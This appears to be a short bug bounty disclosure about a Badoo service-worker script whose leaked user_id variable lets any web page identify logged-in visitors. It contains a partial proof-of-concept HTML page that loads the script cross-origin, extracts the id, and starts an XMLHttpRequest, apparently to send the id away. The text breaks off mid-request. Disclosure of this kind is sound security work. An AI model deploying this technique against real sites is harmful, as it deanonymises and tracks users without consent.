Ability to collect users' ids that have visited a specific web page with malicious code

Regarding this report #130453 , I'm pretty sure that there's a little misunderstanding of the issue , so please let me clarify the issue a bit more .

<html>
<script src=https://badoo.com/worker-scope/chrome-service-worker.js?ws=1></script>
</head>
<body>
<script>
function UnmaskUser(str) {
return str.split('=')[0];
}
window.onload = function(){
var user = UnmaskUser(user_id);
var xhr = new XMLHttpRequest();
xhr.open('GET', …